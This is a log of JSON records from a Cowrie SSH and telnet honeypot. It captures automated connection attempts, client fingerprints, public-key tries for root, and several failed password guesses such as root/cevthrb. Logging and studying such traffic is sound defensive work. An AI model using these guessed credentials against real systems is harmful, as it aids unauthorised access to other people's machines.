{"eventid":"cowrie.session.closed","duration":12.332606792449951,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:50.371248Z","src_ip":"176.231.153.33","session":"4caa66a7de02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":35856,"dst_ip":"10.17.0.5","dst_port":22,"session":"37ca671fef8e","protocol":"ssh","message":"New connection: 80.94.92.184:35856 (10.17.0.5:22) [session: 37ca671fef8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:04.600232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:04.621392Z","src_ip":"80.94.92.184","session":"37ca671fef8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:04.851681Z","src_ip":"80.94.92.184","session":"37ca671fef8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:06.358135Z","src_ip":"80.94.92.184","session":"37ca671fef8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.240.126","src_port":27728,"dst_ip":"10.17.0.5","dst_port":22,"session":"945a66c73da7","protocol":"ssh","message":"New connection: 212.192.240.126:27728 (10.17.0.5:22) [session: 945a66c73da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:07.475700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:07.481009Z","src_ip":"212.192.240.126","session":"945a66c73da7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:07.531307Z","src_ip":"80.94.92.184","session":"37ca671fef8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:07.565623Z","src_ip":"212.192.240.126","session":"945a66c73da7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":45594,"dst_ip":"159.203.135.109","dst_port":22,"session":"025023e13ba2","protocol":"ssh","message":"New connection: 77.94.47.83:45594 (159.203.135.109:22) [session: 025023e13ba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:07.712942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:07.761050Z","src_ip":"77.94.47.83","session":"025023e13ba2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:07.837893Z","src_ip":"77.94.47.83","session":"025023e13ba2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:25:ca:18:d7:62:6c:3f:f1:71:6f:43:ee:d7:87:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2VXmtd++7iXC0wSuNxsEVEjruw29kVxx6Iukty4byY1jJXjB28vsZv+WKsmc5aI7B0uXPWW5B4pcCxK24f3/g5ATHIkoPJeaxbWAWUUlMKHSLnpQ/jMJMKlY8+HpHLA27wB1ERQFKlDkNBkw4Xy46l8oFANIUBESpjFV6qt0DsrcMk2I0sg9+w7Cvh4BHyeGsusMlbcXHWdL5chaLk1sdV7dX14fZOo86H4StsO8lVN6CzVSyH42seR4JQld/dFWxEFF48zk3BLoiKsbSVi675soFMK3KcTSQCwmspcKZBkUcRijoaS1T9YqDku2VmmDHjZjBa1S+heJfF1JXwY6Z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:25:ca:18:d7:62:6c:3f:f1:71:6f:43:ee:d7:87:d4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:07.956445Z","src_ip":"212.192.240.126","session":"945a66c73da7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:25:ca:18:d7:62:6c:3f:f1:71:6f:43:ee:d7:87:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2VXmtd++7iXC0wSuNxsEVEjruw29kVxx6Iukty4byY1jJXjB28vsZv+WKsmc5aI7B0uXPWW5B4pcCxK24f3/g5ATHIkoPJeaxbWAWUUlMKHSLnpQ/jMJMKlY8+HpHLA27wB1ERQFKlDkNBkw4Xy46l8oFANIUBESpjFV6qt0DsrcMk2I0sg9+w7Cvh4BHyeGsusMlbcXHWdL5chaLk1sdV7dX14fZOo86H4StsO8lVN6CzVSyH42seR4JQld/dFWxEFF48zk3BLoiKsbSVi675soFMK3KcTSQCwmspcKZBkUcRijoaS1T9YqDku2VmmDHjZjBa1S+heJfF1JXwY6Z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:07.960698Z","src_ip":"212.192.240.126","session":"945a66c73da7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b3:29:5b:5a:80:12:29:65:89:2d:6d:9d:89:85:e6:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcHeXquXC5vphPTk/PnfLpJuSl8Jfxgm4C+F4v5a3o5f/2gHZS/t382TIB/AoiHmB77rrWzNnrL+36x27pAansVxHsXoxxvf/J9WIeAoYhaybe9k+v4NvobcKk6rxUOm2pIU0LKgXVVXPZ1Ul6PhWI+h1ZHHHzMB7BEZfYIWJaLztRnoUl1H64q88DOwc3T0YqZJDWwiV6hEGneRoHw6xK5a0Wpt92Kd/aqqpVCrQ2d0e3FXtxRQg3HXnPvpsfO6E0rNIUJLuV6Rno7sY8bIFxTwhxklTN1+WJMhim18m/rfLlxvG5HitVshuAXsTvrX89UoMCUCqmOJiN1XGzJcaRp4ZdeEObaUL1v8XL5XHiIHEhTt9yp6gHuAb8nl8Capib1NgVc5Eoma2yNayiUE7nSvRvN5R0tJkiv1NkicisMkx7KMBsNm2p2liqa/4S6pqPVnqItm5PEzNUzxr8ZQCfCS1m9G9x4g6muzLEZOnj2LRfNd9gdb/MRWQXUQS4t7mkf8M+mTQ+fAdmxF9sCsT70PglyWY40V18yzGTtuvnmMYx6jt9ZzCipLtyGgcUGWJhL3X4YtMNCtyMZgbObTCHqpV/P5RxfTqlrXPLCGN4W52IA2nFEvv6oNm+Sk4SXZf3UV/zIVHrrJRZpZTa2FEFLZboJRiMcoHa/4cOqnvQ2w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b3:29:5b:5a:80:12:29:65:89:2d:6d:9d:89:85:e6:9b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:08.047981Z","src_ip":"212.192.240.126","session":"945a66c73da7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b3:29:5b:5a:80:12:29:65:89:2d:6d:9d:89:85:e6:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcHeXquXC5vphPTk/PnfLpJuSl8Jfxgm4C+F4v5a3o5f/2gHZS/t382TIB/AoiHmB77rrWzNnrL+36x27pAansVxHsXoxxvf/J9WIeAoYhaybe9k+v4NvobcKk6rxUOm2pIU0LKgXVVXPZ1Ul6PhWI+h1ZHHHzMB7BEZfYIWJaLztRnoUl1H64q88DOwc3T0YqZJDWwiV6hEGneRoHw6xK5a0Wpt92Kd/aqqpVCrQ2d0e3FXtxRQg3HXnPvpsfO6E0rNIUJLuV6Rno7sY8bIFxTwhxklTN1+WJMhim18m/rfLlxvG5HitVshuAXsTvrX89UoMCUCqmOJiN1XGzJcaRp4ZdeEObaUL1v8XL5XHiIHEhTt9yp6gHuAb8nl8Capib1NgVc5Eoma2yNayiUE7nSvRvN5R0tJkiv1NkicisMkx7KMBsNm2p2liqa/4S6pqPVnqItm5PEzNUzxr8ZQCfCS1m9G9x4g6muzLEZOnj2LRfNd9gdb/MRWQXUQS4t7mkf8M+mTQ+fAdmxF9sCsT70PglyWY40V18yzGTtuvnmMYx6jt9ZzCipLtyGgcUGWJhL3X4YtMNCtyMZgbObTCHqpV/P5RxfTqlrXPLCGN4W52IA2nFEvv6oNm+Sk4SXZf3UV/zIVHrrJRZpZTa2FEFLZboJRiMcoHa/4cOqnvQ2w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:08.051795Z","src_ip":"212.192.240.126","session":"945a66c73da7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:94:8b:06:8c:ce:70:89:5d:68:4e:c3:66:02:17:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDX1Ln49tWgXcae/A0wmE1TCmUNnB9ygttJYetFzZjWRh7thMYQWNzV79aO3Zabh8SV+NUfLRI3i31oSEmGyrxSN/XRTT0i7KfuOrTZ4WB00XDNVFAsLSU+J9qzRtBd9SHfbj82El6LOHHEcwXF/XvdItrjs8E3UnXfKutg5pa9gDpUQWyJHmJKGre9nbrInZOUQVxku8SebUsWxCExTJIXIXbyxKWRknNohGb7wSJmRVjP0aP8c0jwwT8fk0otlbV2NoiYiykbJk8wnsrGV4E6u4QAmR12NovXyqvRmFDvZPLYa4jwnyzOoREjGqeaLLAuTV561LWAvH12Bk36idYN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cf:94:8b:06:8c:ce:70:89:5d:68:4e:c3:66:02:17:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:08.135252Z","src_ip":"212.192.240.126","session":"945a66c73da7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:94:8b:06:8c:ce:70:89:5d:68:4e:c3:66:02:17:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDX1Ln49tWgXcae/A0wmE1TCmUNnB9ygttJYetFzZjWRh7thMYQWNzV79aO3Zabh8SV+NUfLRI3i31oSEmGyrxSN/XRTT0i7KfuOrTZ4WB00XDNVFAsLSU+J9qzRtBd9SHfbj82El6LOHHEcwXF/XvdItrjs8E3UnXfKutg5pa9gDpUQWyJHmJKGre9nbrInZOUQVxku8SebUsWxCExTJIXIXbyxKWRknNohGb7wSJmRVjP0aP8c0jwwT8fk0otlbV2NoiYiykbJk8wnsrGV4E6u4QAmR12NovXyqvRmFDvZPLYa4jwnyzOoREjGqeaLLAuTV561LWAvH12Bk36idYN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:08.139391Z","src_ip":"212.192.240.126","session":"945a66c73da7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:7b:14:23:e7:4d:1d:dc:50:4a:8a:ad:0e:35:eb:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0JfKToVUgxULLiupHdk2qYo7NEqDULWceNzDDZdeF4zFMNfF3DKCClU7t7oMOxzXAcrhGqbkud2+WriT8PpwwS32+3roveXT9Aag97BuwCHEYCFhhdvxG7UlKxgJokGB/6WsPUN7A05mkDhavSyV90ocCFQk4lwQYyklPNnGiuffCAFLiGWWfaxCQASzpCVfFAkg9KWbcBUL9EA/ArHnjVW4I/FkjTBAa2KDJ5ro6wSbrFf7/dJ56FtedRrVqQHfOaknnYFSjDbMhL7hlemti/6KFuGX4PvC679PXfKCqQpeG+j6Afgok18InENurUvrWVkAzQGNYBRRQK9Mix3y4w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e8:7b:14:23:e7:4d:1d:dc:50:4a:8a:ad:0e:35:eb:b6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:08.223956Z","src_ip":"212.192.240.126","session":"945a66c73da7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:7b:14:23:e7:4d:1d:dc:50:4a:8a:ad:0e:35:eb:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0JfKToVUgxULLiupHdk2qYo7NEqDULWceNzDDZdeF4zFMNfF3DKCClU7t7oMOxzXAcrhGqbkud2+WriT8PpwwS32+3roveXT9Aag97BuwCHEYCFhhdvxG7UlKxgJokGB/6WsPUN7A05mkDhavSyV90ocCFQk4lwQYyklPNnGiuffCAFLiGWWfaxCQASzpCVfFAkg9KWbcBUL9EA/ArHnjVW4I/FkjTBAa2KDJ5ro6wSbrFf7/dJ56FtedRrVqQHfOaknnYFSjDbMhL7hlemti/6KFuGX4PvC679PXfKCqQpeG+j6Afgok18InENurUvrWVkAzQGNYBRRQK9Mix3y4w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:08.228245Z","src_ip":"212.192.240.126","session":"945a66c73da7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6e:d4:44:c6:a7:aa:64:5e:17:40:be:57:fa:f0:38:5d","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPxcpoyNVOpkCG6dk3V6MwJRaRrzbZLVQNvverQYHfcax5CRyD9UPyUmPF6TUujaOUO1ggb9Lm9TCcN094buM/ZYT8u0wgC+AWY4Kf4MnBxWRDW8JABOZ/9O9jejxsA5S3XWZk8+qoz9FhyN/J65Hyk1aYY7DfjPuqx1glACDCzFAAAAFQCAcbkg5hqvM2ZAa9IMLztZPOWFTwAAAIBmDtvWZrCIij9zwQFuMpFDLGQT+Hx1O57RMI2nJQ/cGldQODD7rmvlLv3bKlqDgUqRrLYoLgh86WW/WIg1fkcQC0mMrmRmfz7eXVvVv1Km/LgJPipxq3E5GRTW1Bl3iNqUv7zhOj5CImd2ojEy7uBbgIxkulAoXBY3KT/XyXJZMwAAAIEA3KuOYzDGaaLCb38b8FLUlOLiYc+ZwxEOvmKjPj3dkeUCgpvZRgRqvWrADgs/IxEsva3JTWJAfTLHdUOM3JmDcMWgKlxFkJZClBWNA87nLPbo+9dXSQv8RU7rBZG1h7UJsUC8Ki1bGtUb9StxppWr4hGlkHLecmB4bOUTZ60rCMA=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 6e:d4:44:c6:a7:aa:64:5e:17:40:be:57:fa:f0:38:5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:08.312919Z","src_ip":"212.192.240.126","session":"945a66c73da7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6e:d4:44:c6:a7:aa:64:5e:17:40:be:57:fa:f0:38:5d","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPxcpoyNVOpkCG6dk3V6MwJRaRrzbZLVQNvverQYHfcax5CRyD9UPyUmPF6TUujaOUO1ggb9Lm9TCcN094buM/ZYT8u0wgC+AWY4Kf4MnBxWRDW8JABOZ/9O9jejxsA5S3XWZk8+qoz9FhyN/J65Hyk1aYY7DfjPuqx1glACDCzFAAAAFQCAcbkg5hqvM2ZAa9IMLztZPOWFTwAAAIBmDtvWZrCIij9zwQFuMpFDLGQT+Hx1O57RMI2nJQ/cGldQODD7rmvlLv3bKlqDgUqRrLYoLgh86WW/WIg1fkcQC0mMrmRmfz7eXVvVv1Km/LgJPipxq3E5GRTW1Bl3iNqUv7zhOj5CImd2ojEy7uBbgIxkulAoXBY3KT/XyXJZMwAAAIEA3KuOYzDGaaLCb38b8FLUlOLiYc+ZwxEOvmKjPj3dkeUCgpvZRgRqvWrADgs/IxEsva3JTWJAfTLHdUOM3JmDcMWgKlxFkJZClBWNA87nLPbo+9dXSQv8RU7rBZG1h7UJsUC8Ki1bGtUb9StxppWr4hGlkHLecmB4bOUTZ60rCMA=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:08.316795Z","src_ip":"212.192.240.126","session":"945a66c73da7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cevthrb","message":"login attempt [root/cevthrb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:08.336040Z","src_ip":"77.94.47.83","session":"025023e13ba2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:08.403681Z","src_ip":"212.192.240.126","session":"945a66c73da7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:09.462553Z","src_ip":"77.94.47.83","session":"025023e13ba2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":60736,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ee064b10e1e","protocol":"ssh","message":"New connection: 103.122.221.179:60736 (10.17.0.5:22) [session: 1ee064b10e1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:15.193024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:15.198427Z","src_ip":"103.122.221.179","session":"1ee064b10e1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:15.458095Z","src_ip":"103.122.221.179","session":"1ee064b10e1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:16.235243Z","src_ip":"103.122.221.179","session":"1ee064b10e1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:17.499184Z","src_ip":"103.122.221.179","session":"1ee064b10e1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.156.196.131","src_port":35348,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3221a3d628c","protocol":"ssh","message":"New connection: 124.156.196.131:35348 (159.203.135.109:22) [session: c3221a3d628c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:22.738830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:22.743792Z","src_ip":"124.156.196.131","session":"c3221a3d628c","protocol":"ssh"}
